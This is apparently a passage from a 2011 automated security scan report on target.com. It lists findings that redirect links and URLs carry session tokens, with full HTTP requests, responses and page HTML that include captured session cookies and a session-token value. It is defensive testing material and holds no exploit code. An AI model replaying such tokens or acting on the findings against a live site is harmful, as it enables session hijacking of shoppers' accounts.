<li><a title="Careers" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255Fcareers%26contentId%3DWCMP04-030796&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Careers</a></li>
<li><a title="Community" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255Fcommunity%26contentId%3DWCMP04-031700&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Community</a></li>
<li><a title="Pressroom" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fpressroom.target.com%2Fpr%2Fnews%2Fnews.aspx%3Fref%3Dnav%255Ffooter%255Fnews&token=EF44EA2ED3C0F97CE9AD4B23979C08B540C5061C">Pressroom</a></li>
<li><a title="Investors" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Finvestors.target.com%2Fphoenix.zhtml%3Fp%3Dirol-irhome%26ref%3Dnav%255Ffooter%255Finvestors%26c%3D65828&token=37F4B25D99F5B2724230FE603FF785C4A1CBCA27" rel="nofollow">Investors</a></li>
<li><a title="Diversity" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255Fdiversity%26contentId%3DWCMP04-031762&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Diversity</a>
...[SNIP]...
<li><a title="Take Charge of Education" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcorporate%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255FTCOE%26contentId%3DPRD03-001825&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Take Charge of Education</a>
...[SNIP]...
<li><a title="Team Member Services" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dteam%255Fservices%26ref%3Dnav%255Ffooter%255Fteammember&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Team Member Services</a>
...[SNIP]...
<li><a title="Opens in a new window" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsecure.nfb.org%2Fnfbnva%2Fpublic%2Fverify.aspx%3FNVACert%3D140%26companyName%3DTarget&token=FC345A3C795B0D27CA446D457B9F0080A2E8065F" rel="nofollow" target="_blank">NFB-NVA Gold Certified</a>
...[SNIP]...
<br/>

<a href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&amp;location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy%255Fpolicy&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Privacy and Security">Privacy + Security</a>
|
<a href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&amp;location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy%255Fpolicy&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Cookies and Targeted Advertising">Cookies + Targeted Advertising</a>
|
<a href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&amp;location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dterms%255Fconditions&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Terms and Conditions">Terms + Conditions</a>
...[SNIP]...
<br/>
<a href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&amp;location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy%255Fpolicy%255Fca&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="California Privacy Rights">California Privacy Rights</a>
...[SNIP]...
<div class="mobileSiteLabel"><a title="View Mobile Version" href="/gp/redirect.html/185-5393115-9309767?location=http://m.target.com/&token=B61876DECB7F89C32F6EDC088CE1E034ACF3FCD8">View Mobile Version</a>
...[SNIP]...

2.3. http://www.target.com/gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.target.com
Path:   /gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-2&qid=1313843465&rh=&searchRank=target104545&id=C9%20Champion%20Fitted%20Pants%20Extended&node=1038576%7C1287991011&searchSize=30&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id=185-5393115-9309767; session-id-time=1314448281l; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A2%2C%22to%22%3A4.8%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fs%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313843485207%7D; fsr.a=1313843498085

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:40 GMT
Server: Server
x-amz-id-1: 1YVB6P9ATK2ZRCR8W5AE
p3p: policyref="http://www.target.com/w3c/p3p.xml",CP="NON DSP CURa ADMa DEVa TAIa PSAo PSDo IVAo IVDo CONo TELo OUR DELa SAMo PUBi OTRo IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
x-amz-id-2: UPpBEapx4Lzp16jlRd1osHg7L0/nkQ6XZ1sc96Mn4NEGxfMs+CIa9g==
Vary: Accept-Encoding,User-Agent
Cneonction: close
Content-Type: text/html; charset=UTF-8
Set-cookie: ubid-acbta=181-9529033-3089118; path=/; domain=.target.com; expires=Tue Jan 01 08:00:01 2036 GMT
Content-Length: 70918


<html lang="en-US">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="language"
...[SNIP]...
<li class="first-child"><a href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dstore%255Flocator%255Fnew%26ref%3Dnav%255Fstorelocator&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Find a Store">Find a Store</a>
...[SNIP]...
<li><a href="https://www.target.com:443/gp/redirect.html/175-3973203-5023957?location=https://redcard.target.com/redcard/rc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D" title="Red Cards">RedCards</a>
...[SNIP]...
<li><a href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dphoto%255Fcenter%26ref%3Dnav%255Ftargetphoto&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Photo">Photo</a>
...[SNIP]...
<li><a href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fhealth%2Fpage.jsp%3Fref%3Dnav%255Fpharmacy%26contentId%3DPRD03-004033&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Pharmacy">Pharmacy</a>
...[SNIP]...
<li class="last-child"><a href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fweeklyad.target.com%2Ftarget%2Fdefault.aspx%3Fref%3Dnav%255Fweeklyad%26action%3Dentryflash&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE" title="Weekly Ad">WeeklyAd</a>
...[SNIP]...
<br />

&rsaquo; <a href="/gp/redirect.html/175-3973203-5023957?location=http://target.com/rcam&amp;token=0740986F996EA539D54218C0D81D183AF17D595F">Target.. Visa.. Credit Card and Target Credit Card..</a><br />

&rsaquo; <a href="/gp/redirect.html/175-3973203-5023957?location=http://target.com/checkcard&amp;token=9DC41EEEF740C3B09CFCB46F6C7022A4622F9D3A">Target Debit Card<sup>
...[SNIP]...
<br />

&rsaquo; <a href="/gp/redirect.html/175-3973203-5023957?location=http://target.com/rewards&amp;token=D62F194C2502656F9210694289070A08EB44BFD0">Target Rewards&#174;</a><br />

&rsaquo; <a href="/gp/redirect.html/175-3973203-5023957?location=http://target.com/pharmacyrewards&amp;token=D62F194C2502656F9210694289070A08EB44BFD0">Target Pharmacy Rewards</a><br />

&rsaquo; <a href="/gp/redirect.html/175-3973203-5023957?location=http://target.com/tcoe&amp;token=D62F194C2502656F9210694289070A08EB44BFD0">Take Charge of Education&#174;</a><br />

&rsaquo; <a href="/gp/redirect.html/175-3973203-5023957?location=http://target.com/redcard&amp;token=D62F194C2502656F9210694289070A08EB44BFD0">More</a>
...[SNIP]...
</font><a href="/gp/redirect.html/175-3973203-5023957?location=http://redcard.target.com/ic/ic_apply_online.jsp?src=9216&amp;token=A6648CCDF9A16F64416047AFB64C389384D09226" class="reddefault"><strong class="smallred">
...[SNIP]...
<br /> to savings. <a href="/gp/redirect.html/175-3973203-5023957?location=http://target.com/apply&amp;token=D62F194C2502656F9210694289070A08EB44BFD0"> See details</a>
...[SNIP]...
<map name="redcardmap">
<area href="https://www.target.com:443/gp/redirect.html/ref=nav_footer_cardimage/175-3973203-5023957?location=https://redcard.target.com/redcard/rc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="RED Cards."
title="RED Cards."
shape="RECT"
coords="5,7,133,45"
/>

<area href="https://www.target.com:443/gp/redirect.html/ref=nav_footer_save5/175-3973203-5023957?location=https://redcard.target.com/redcard/rc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="Save 5% upon credit approval"
title="Save 5% upon credit approval"
shape="RECT"
coords="7,48,133,81"
/>

</map >
...[SNIP]...
<li><a title="Apply for a REDcard Now" href="https://www.target.com:443/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_tck_application%3Fsrc%3D9201%26ref%3Dnav%255Ffooter%255Fapply&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D">Apply</a></li>
<li><a title="Manage My REDcard Account" href="https://www.target.com:443/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_manage%3Fref%3Dnav%255Ffooter%255Fmanagemyacct&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D">Manage My Account</a>
...[SNIP]...
<li><a title="REDcard Benefits" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_benefits_tgt_rewards%3Fref%3Dnav%255Ffooter%255Fcardbenefits&token=A6648CCDF9A16F64416047AFB64C389384D09226">Card Benefits</a>
...[SNIP]...
<li><a title="Target Business Card" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_targetbank_bc_main%3Fref%3Dnav%255Ffooter%255Ftargetbuscard&token=A6648CCDF9A16F64416047AFB64C389384D09226">Target Business Card</a>
...[SNIP]...
<li><a title="Find a Store" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dstore%255Flocator%255Fnew%26ref%3Dnav%255Ffooter%255Fstorelocator&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Find a Store</a>
...[SNIP]...
<li><a title="Weekly Ad" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fweeklyad.target.com%2Ftarget%2Fdefault.aspx%3Fref%3Dnav%255Ffooter%255Fweeklyad%26action%3Dentryflash&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE">Weekly Ad</a></li>
<li><a title="Coupons" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fcoupons.target.com%2Fmcp%2F%3Fid%3D8a26421c-0c7a-4359-a567-33400958fc0e%26ref%3Dnav%255Ffooter%255Fcoupon&token=A34D6D1A1B421FA679F4C880B04F0F85EBA87E61">Coupons</a></li>
<li><a title="Photo" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dphoto%255Fcenter%26ref%3Dnav%255Ffooter%255Fphoto&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Photo</a></li>
<li><a title="Portrait Studio" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dportrait%255Fstudio%26ref%3Dnav%255Ffooter%255Fportrait&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Portrait Studio</a>
...[SNIP]...
<li><a title="Optical" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Ftarget.com%2Ftarget_group%2Fstores_services%2Foptical.jhtml%3Fref%3Dnav%255Ffooter%255Foptical&token=D62F194C2502656F9210694289070A08EB44BFD0">Optical</a></li>
<li><a title="Pharmacy" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fhealth%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255Fpharmacy%26contentId%3DPRD03-004033&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Pharmacy</a></li>
<li><a title="Mobile" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dmobile%255Flanding%26ref%3Dnav%255Ffooter%255Fmobile&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Mobile</a>
...[SNIP]...
<li><a title="About Target" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255Fabout%26contentId%3DWCMP04-032391&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">About Target</a>
...[SNIP]...
<li><a title="Careers" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255Fcareers%26contentId%3DWCMP04-030796&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Careers</a></li>
<li><a title="Community" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255Fcommunity%26contentId%3DWCMP04-031700&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Community</a></li>
<li><a title="Pressroom" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fpressroom.target.com%2Fpr%2Fnews%2Fnews.aspx%3Fref%3Dnav%255Ffooter%255Fnews&token=EF44EA2ED3C0F97CE9AD4B23979C08B540C5061C">Pressroom</a></li>
<li><a title="Investors" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Finvestors.target.com%2Fphoenix.zhtml%3Fp%3Dirol-irhome%26ref%3Dnav%255Ffooter%255Finvestors%26c%3D65828&token=37F4B25D99F5B2724230FE603FF785C4A1CBCA27" rel="nofollow">Investors</a></li>
<li><a title="Diversity" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255Fdiversity%26contentId%3DWCMP04-031762&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Diversity</a>
...[SNIP]...
<li><a title="Take Charge of Education" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcorporate%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255FTCOE%26contentId%3DPRD03-001825&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Take Charge of Education</a>
...[SNIP]...
<li><a title="Team Member Services" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dteam%255Fservices%26ref%3Dnav%255Ffooter%255Fteammember&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Team Member Services</a>
...[SNIP]...
<li><a title="Opens in a new window" href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&location=http%3A%2F%2Fsecure.nfb.org%2Fnfbnva%2Fpublic%2Fverify.aspx%3FNVACert%3D140%26companyName%3DTarget&token=FC345A3C795B0D27CA446D457B9F0080A2E8065F" rel="nofollow" target="_blank">NFB-NVA Gold Certified</a>
...[SNIP]...
<br/>

<a href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&amp;location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy%255Fpolicy&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Privacy and Security">Privacy + Security</a>
|
<a href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&amp;location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy%255Fpolicy&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Cookies and Targeted Advertising">Cookies + Targeted Advertising</a>
|
<a href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&amp;location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dterms%255Fconditions&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Terms and Conditions">Terms + Conditions</a>
...[SNIP]...
<br/>
<a href="/gp/redirect.html/175-3973203-5023957?_encoding=UTF8&amp;location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy%255Fpolicy%255Fca&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="California Privacy Rights">California Privacy Rights</a>
...[SNIP]...
<div class="mobileSiteLabel"><a title="View Mobile Version" href="/gp/redirect.html/175-3973203-5023957?location=http://m.target.com/&token=B61876DECB7F89C32F6EDC088CE1E034ACF3FCD8">View Mobile Version</a>
...[SNIP]...

2.4. http://www.target.com/s  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.target.com
Path:   /s

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /s?keywords=xss&searchNodeID=1038576%7C1287991011&ref=sr_bx_1_1&x=0&y=0 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: session-id-time=1314428400l; session-id=180-3140619-9835644; v1st=9C2B51AA83FFEFBB; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A1%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2F%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A1%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%7D

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:06 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=179-5433158-9247368; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:06 GMT; Path=/
Set-Cookie: session-id-time=1314448266l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:06 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:31:06 GMT; Path=/
Set-Cookie: session-token="UwJuk533+AV4O27KH2zyhuzdMH754Z7Ohf1wDR+schnx9402wInONDe2nfKuKFH5OYeqWE0YaVvdxFtUVMUmKGJsygetvrBjonyagcQypxTXmhVRgbe/NnsmBuoOlAKEpZ2868OquepKu1WEmtHNfEy3ifQcAZJz4oMA3aT9uHOQ5rT0AMaqSw=="; Version=1; Domain=.target.com; Max-Age=600; Expires=Sat, 20-Aug-2011 12:41:06 GMT; Path=/
Content-Length: 114757


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

...[SNIP]...
<li class="first-child"><a href="/gp/redirect.html/179-5433158-9247368?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dstore%255Flocator%255Fnew%26ref%3Dnav%255Fstorelocator&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Find a Store">Find a Store</a>
...[SNIP]...
<li><a href="https://www.target.com:443/gp/redirect.html/179-5433158-9247368?location=https://redcard.target.com/redcard/rc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D" title="Red Cards">RedCards</a>
...[SNIP]...
<li><a href="/gp/redirect.html/179-5433158-9247368?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dphoto%255Fcenter%26ref%3Dnav%255Ftargetphoto&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Photo">Photo</a>
...[SNIP]...
<li><a href="/gp/redirect.html/179-5433158-9247368?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fhealth%2Fpage.jsp%3Fref%3Dnav%255Fpharmacy%26contentId%3DPRD03-004033&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Pharmacy">Pharmacy</a>
...[SNIP]...
<li class="last-child"><a href="/gp/redirect.html/179-5433158-9247368?_encoding=UTF8&location=http%3A%2F%2Fweeklyad.target.com%2Ftarget%2Fdefault.aspx%3Fref%3Dnav%255Fweeklyad%26action%3Dentryflash&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE" title="Weekly Ad">WeeklyAd</a>
...[SNIP]...
<div class='addToCartOrViewDetails'>


<a href="/Merona-Maternity-Sleeveless-V-Neck-Dress/dp/B0053H9UT2/ref=sr_1_1?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-1&qid=1313843466&rh=&searchRank=target104545&node=1038576%7C1287991011&searchSize=30&sessionID=179-5433158-9247368&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0" class='viewDetails'>
View Details for Merona&#174; Maternity Sleeveless V-Neck Dress - Brown/Pink
<span>
...[SNIP]...
<div class='addToCartOrViewDetails'>


<a href="/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-2&qid=1313843466&rh=&searchRank=target104545&node=1038576%7C1287991011&searchSize=30&sessionID=179-5433158-9247368&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0" class='viewDetails'>
View Details for C9 by Champion&#174; Women's Semi Fitted Pants with Extended Sizes - Black
<span>
...[SNIP]...
<div class='addToCartOrViewDetails'>


<a href="/gp/cart/view.html/ref=gp_se_search-results-item?ie=UTF8&refInfo_page=1&store-name=target&sessionID=179-5433158-9247368&sr=1-3&qid=1313843466&refInfo_frombrowse=0&from=search&asin.B004E5GBCI=1&submit.add-to-cart=Add%20To%20Bag" class='addToCart'>
Add C9 by Champion&#174; Fitted Bootcut Pants with Extended Sizes - Black&#160; XSS to Cart
<span>
...[SNIP]...
<div class='addToCartOrViewDetails'>


<a href="/Gilligan-OMalley-Slub-Robe-White/dp/B0047ZCNDG/ref=sr_1_4?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-4&qid=1313843466&rh=&searchRank=target104545&node=1038576%7C1287991011&searchSize=30&sessionID=179-5433158-9247368&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0" class='viewDetails'>
View Details for Gilligan & O'Malley&#174; Womens Slub Robe - True White
<span>
...[SNIP]...
<map name="redcardmap">
<area href="/redirect?ie=UTF8&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Frc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="RED Cards."
title="RED Cards."
shape="RECT"
coords="5,7,133,45"
/>

<area href="/redirect?ie=UTF8&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Frc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="Save 5% upon credit approval"
title="Save 5% upon credit approval"
shape="RECT"
coords="7,48,133,81"
/>

</map >
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_tck_application%3Fref%3Dnav_footer%26src%3D9201" title="Apply for a REDcard Now">Apply</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_manage%3Fref%3Dnav_footer_managemyacct" title="Manage My REDcard Account">Manage My Account</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=A6648CCDF9A16F64416047AFB64C389384D09226&location=http%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_benefits_tgt_rewards%3Fref%3Dnav_footer_cardbenefits" title="REDcard Benefits">Card Benefits</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=A6648CCDF9A16F64416047AFB64C389384D09226&location=http%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_targetbank_bc_main%3Fref%3Dnav_footer_targetbuscard" title="Target Business Card">Target Business Card</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Fref%3Dnav_footer_storelocator%26title%3Dstore_locator_new" title="Find a Store">Find a Store</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE&location=http%3A%2F%2Fweeklyad.target.com%2Ftarget%2Fdefault.aspx%3Fref%3Dnav_footer_weeklyad%26action%3Dentryflash" title="Weekly Ad">Weekly Ad</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=A34D6D1A1B421FA679F4C880B04F0F85EBA87E61&location=http%3A%2F%2Fcoupons.target.com%2Fmcp%2F%3Fid%3D8a26421c-0c7a-4359-a567-33400958fc0e%26ref%3Dnav_footer_coupon" title="Coupons">Coupons</a>
...[SNIP]...
